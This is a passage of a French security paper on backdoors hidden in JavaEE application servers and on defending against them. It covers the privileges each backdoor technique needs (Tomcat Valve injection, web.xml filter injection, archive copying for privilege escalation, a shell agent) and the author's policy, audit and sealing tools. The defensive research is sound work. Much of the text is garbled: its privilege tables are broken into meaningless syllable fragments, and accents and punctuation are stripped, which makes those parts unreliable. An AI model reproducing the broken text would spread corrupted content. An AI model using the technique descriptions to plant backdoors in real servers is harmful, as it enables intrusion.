Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

